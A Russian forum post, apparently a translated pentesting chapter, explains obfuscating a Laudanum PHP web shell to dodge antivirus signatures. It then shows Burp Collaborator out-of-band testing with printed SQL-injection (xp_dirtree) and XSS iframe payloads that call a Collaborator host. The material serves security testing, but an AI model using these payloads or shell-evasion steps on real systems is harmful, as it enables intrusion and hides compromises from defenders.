megaDED

Сержант
Модератор
Сообщения
34
Реакции
5
Запутывание кода
Оболочка Laudanum, сгенерированная CO2 в предыдущем разделе, сработала просто отлично, но если средства защиты слишком внимательно присмотрятся к исходному коду, то обязательно поднимут тревогу. В идеале нам нужно сохранить как можно меньший размер файла и постараться сделать код более сложным для анализа. Комментарии, код с правильными отступами и описательные имена переменных позволяют понять, что на самом деле делает файл ads.php.
Немного усложним анализ. Средства запутывания кода обычно используются в программном обеспечении для управления цифровыми правами, в модулях борьбы с пиратством и, конечно же, во вредоносных программах. Никакое запутывание кода не остановит опытного реверс-инженера, но оно определенно замедляет работу. Возможно, нам не хватит времени, чтобы перейти на другой сервер или приложение, но по крайней мере мы успеем уклониться от сигнатур антивируса. В идеале удаляем комментарии, переименовываем переменные и пытаемся скрыть фактическую функциональность оболочки, но делать это вручную – не очень хорошая идея. Из-за ошибки могут возникнуть проблемы с кодом, а запутывание вызывает больше проблем для атакующего, чем решает.
Средства запутывания кода преобразуют исходный код приложения (или в нашем случае веб-оболочки) в компактный беспорядочный код, лишенный комментариев, со случайными именами переменных, что затрудняет анализ. Прелесть этого состоит в том, что даже если код искажен и труден для понимания людьми, для парсера или компилятора это неважно до тех пор, пока код синтаксически верен. У приложения не должно возникать проблем с запуском правильно запутанного кода.
Существуют средства запутывания исходного кода почти для каждого языка программирования.
В случае с PHP можно использовать фантастическое приложение PHP Obfuscator, простую в использовании утилиту командной строки.
PHP Obfuscator можно клонировать на странице https://github.com/naneau/php-obfuscator.
Мы будем хранить приложение в ~/tools/phpobfs и клонировать его из GitHub с помощью команды git clone.

Для работы PHP Obfuscator нужен Composer – менеджер зависимостей для PHP, который можно быстро установить в Kali или аналогичных дистрибутивах с помощью команды apt-get install.

В только что клонированном каталоге phpobfs можно выполнить команду composer install, чтобы сгенерировать утилиту obfuscate в папке bin.

Do not run Composer as root/super user! See
Loading composer repositories with package information
Updating dependencies (including require-dev)
Если все прошло успешно, то мы должны получить исполняемый сценарий в bin с именем obfuscate, который можно использовать для модификации оболочки Laudanum.
Можем вызвать утилиту obfuscate с помощью параметра obfuscate и передать файл для модификации, а также каталог вывода.

[email protected]:~/tools/phpobfs# bin/obfuscate obfuscate
~/tools/shells/ads.php ~/tools/shells/out/
Copying input directory /root/tools/shells/ads.php to
Если проверим недавно обфусцированный файл ads.php, то увидим такой фрагмент кода:

Запутанный код оболочки Laudanum
Некоторые строки все еще видны, и заметно, что IP-адреса и значения токенов по-прежнему не тронуты. Переменные заменены на случайные слова, комментарии пропали, и в результате мы имеем компактный код. Разница в размерах между обеими оболочками также значительна.

[email protected]:~/tools/shells# ls -lah ads.php out/ads.php
-rw-r--r-- 1 root root 5.2K 14:14 ads.php
-rw-r--r-- 1 root root 1.9K 14:14 out/ads.php
Это ненадежно, но позволит нам оставаться незамеченными немного дольше. PHP Obfuscate должен работать с любым PHP-кодом, в том числе с оболочками, которые можно написать самостоятельно.

Collaborator
В предыдущих статьях мы рассмотрели скрытые уязвимости в приложениях, которые могут быть неочевидны для злоумышленников. Если приложение не реагирует на ввод непредвиденных данных, возможно, оно не является уязвимым и код правильно проверяет ввод, но это также может означать, что уязвимость существует, просто она скрыта. Чтобы идентифицировать такие типы уязвимостей, мы передали вредоносный код, заставивший приложение подключиться к нашему командно-контрольному серверу.
Это очень полезный метод, но мы все делали вручную. Передали вредоносный код и ожидали обращения от сервера, чтобы подтвердить наличие уязвимости. Большинство тестирований приложений ограничено по времени, и проверить каждый ввод вручную на большой поверхности атаки нереально. Нужно автоматизировать этот процесс.
К счастью, профессиональная версия Burp Suite позволяет использовать серверную инфраструктуру Collaborator для автоматизации внеполосного поиска уязвимостей.
Сервер Collaborator аналогичен командно-контрольному серверу, который мы настроили в статьях «Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов», но у него есть несколько дополнительных функций. В частности, он интегрируется с модулем Scanner, чтобы автоматически выявлять трудно обнаруживаемые уязвимости. Он также менее склонен к ложным срабатываниям по сравнению с использованием ручного подхода.
Параметр Collaborator можно найти на вкладке Project options (Опции проекта). Его можно отключить или включить, чтобы использовать сервер по умолчанию или закрытый экземпляр.
На высоком уровне Collaborator работает так.
1. Сканер Burp генерирует полезную нагрузку для обнаружения уязвимос тей, подверженных SQL-инъекциям:

';declare @q varchar(99);set
@q='\\bXkgY3JlZGl0IGNhcmQgbnVtYmVyIGlz.burpcollaborator.net\tes
t'; exec master.dbo.xp_dirtree @q;--
2. Приложение асинхронно выполняет SQL-запрос.
3. SQL-инъекция прошла успешно.
4. SQL-сервер пытается отобразить общий ресурс SMB в случайно сгенерированном домене burpcollaborator.net.
5. Выполняется просмотр DNS-записей: сервер Collaborator регистрирует попытку DNS-запроса.
6. Устанавливается соединение по протоколу SMB, и возвращаются фиктивные данные: сервер Collaborator также регистрирует эту попытку подключения по протоколу SMB.
7. Клиент Burp регистрируется на сервере Collaborator.
8. Сервер Collaborator сообщает о двух проблемах: был сделан запрос DNS; наблюдалось сервисное взаимодействие для SMB.
Плюс Collaborator состоит в том, что случайно сгенерированный уникальный домен может быть фактически связан с конкретным запросом, сделанным сканером. Это точно говорит нам, какой URL-адрес и какой параметр уязвим для SQL-инъекции.

Открытый сервер

Сервер Collaborator по умолчанию – это экземпляр, управляемый PortSwigger, разработчиком Burp Suite. Он находится на burpcollaborator.net, а поддержка встроена в Burp.
Как и следовало ожидать, экземпляр Collaborator по умолчанию доступен каждому, у кого есть копия профессиональной версии Burp, а ресурсы распределяются между всеми его пользователями. С точки зрения конфиденциальности пользователи не могут видеть запросы Collaborator друг друга. Каждая полезная нагрузка уникальна и создается Burp Suite для каждого запроса. Обмен данными зашифрован, и для извлечения любых данных с сервера требуется уникальный код.
Чтобы включить Collaborator, можно перейти на вкладку Misc в разделе Project options (Опции проекта) и выбрать кнопку Use the default Collaborator server (Использовать сервер Collaborator по умолчанию), как показано на рис.

Настройка сервера Collaborator
Для использования общедоступной версии сервера никакой дополнительной информации не требуется. Мы можем выполнить проверку работоспособности, чтобы проверить, сможет ли клиент Burp Suite пройти ее, прежде чем мы начнем тестирование, нажав кнопку Run health check... (Запустить проверку работоспособности...) на странице конфигурации. Появится новое окно, в котором будет отображаться текущая проверка работоспособности со статусом для каждой проверки, как показано на рис.


Проверка работоспособности Collaborator

Взаимодействие служб
Чтобы увидеть Collaborator в действии, можно указать Active Scanner на уязвимое приложение, дождаться, пока он запустит одну из сгенерированных полезных нагрузок, и выполнить подключение к общедоступному серверу Collaborator burpcollaborator.net.
Damn Vulnerable Web Application является хорошим испытательным стендом для Collaborator: http://www.dvwa.co.uk.

Внеполосные уязвимости, обнаруженные Collaborator
Клиент Burp Suite периодически регистрируется на сервере Collaborator, чтобы узнать о любых записанных соединениях. В предыдущем случае мы видели, что приложение, уязвимое для внедрения команд, было вынуждено обманом подключиться к экземпляру Collaborator в облаке, выполнив запрос DNS-записей для уникального домена.
Сервер Collaborator перехватил этот DNS-запрос от уязвимого приложения, записал его и уведомил нас об этом. Наш клиент Burp Suite связал взаимодействие служб, о котором сообщает Collaborator, с конкретным запросом и выделил его для удобства просмотра.
Все это было сделано автоматически в фоновом режиме. С помощью Collaborator можно покрыть большую поверхность атаки и быстро и эффективно найти скрытые ошибки.

Клиент Collaborator

В некоторых ситуациях Active Scanner для обнаружения этих проблем может быть недостаточно. Предположим, мы подозреваем, что определенный компонент целевого приложения уязвим для SQL-инъекции вслепую или хранимой XSS-атаки.
Для того чтобы эксплойт сработал, его нужно обернуть каким-либо типом кодирования или шифрования и передать в приложение для последующего декодирования, дешифрования и выполнения. Active Scanner не сможет подтвердить наличие этой уязвимости, потому что он не знает о пользовательских требованиях для доставки полезной нагрузки.
Хорошей новостью является то, что мы по-прежнему можем использовать Collaborator, чтобы выявить уязвимости в этих труднодоступных областях приложения. Burp Suite также поставляется в комплекте с клиентом Collaborator, который может генерировать определенное число таких уникальных доменов, которые будут использоваться при атаке с помощью модуля Intruder.
Клиент Collaborator можно запустить из меню Burp.


Запуск клиента Collaborator из меню Burp
Чтобы сгенерировать уникальные домены для использования в пользовательских полезных нагрузках, введите желаемое число и нажмите кнопку Copy to clipboard (Копировать в буфер обмена). Burp добавит разделенные новой строкой домены в буфер обмена для дальнейшей обработки.


Окно клиента Collaborator
Как только вы закроете окно клиента Collaborator, сгенерированные домены будут признаны недействительными, и, возможно, вам не удастся обнаружить внеполосные обращения к сервисам.
Мы можем взять один из этих доменов и использовать его для своей атаки. Приложение принимает запрос, но не выдает никаких данных. Наша полезная нагрузка представляет собой простой код для выполнения XSS-атаки, предназначенной для создания тега iframe, который перенаправляет в домен, созданный клиентом Collaborator.

"><iframe%20src=[collaborator-domain]/>
Если приложение уязвимо, этот эксплойт создаст новый тег iframe. Он подключится обратно к серверу, который мы контролируем, подтверждая наличие уязвимости.
Надеемся, что этот код будет выполнен в какой-то момент, возможно, когда администратор перейдет на страницу, отвечающую за обработку данных запросов. Если приложение уязвимо, iframe попытается перейти к внедренному URL-адресу.
При этом возникают следующие побочные эффекты:
DNS-запрос выполняется по отношению к домену src;
HTTP-запрос выполняется по отношению к IP-адресу, ассоциированному с доменом src.

Отправка домена Collaborator в полезной нагрузке XSS
По умолчанию клиент Collaborator будет опрашивать сервер каждые 60 секунд, но его можно заставить выполнить проверку в любой момент. Если жертва запустит вредоносный код, Collaborator сообщит нам об этом.


Клиент Collaborator показывает взаимодействие между службами
Похоже, что вредоносный код был успешно выполнен, и благодаря Collaborator у нас теперь есть доказательства.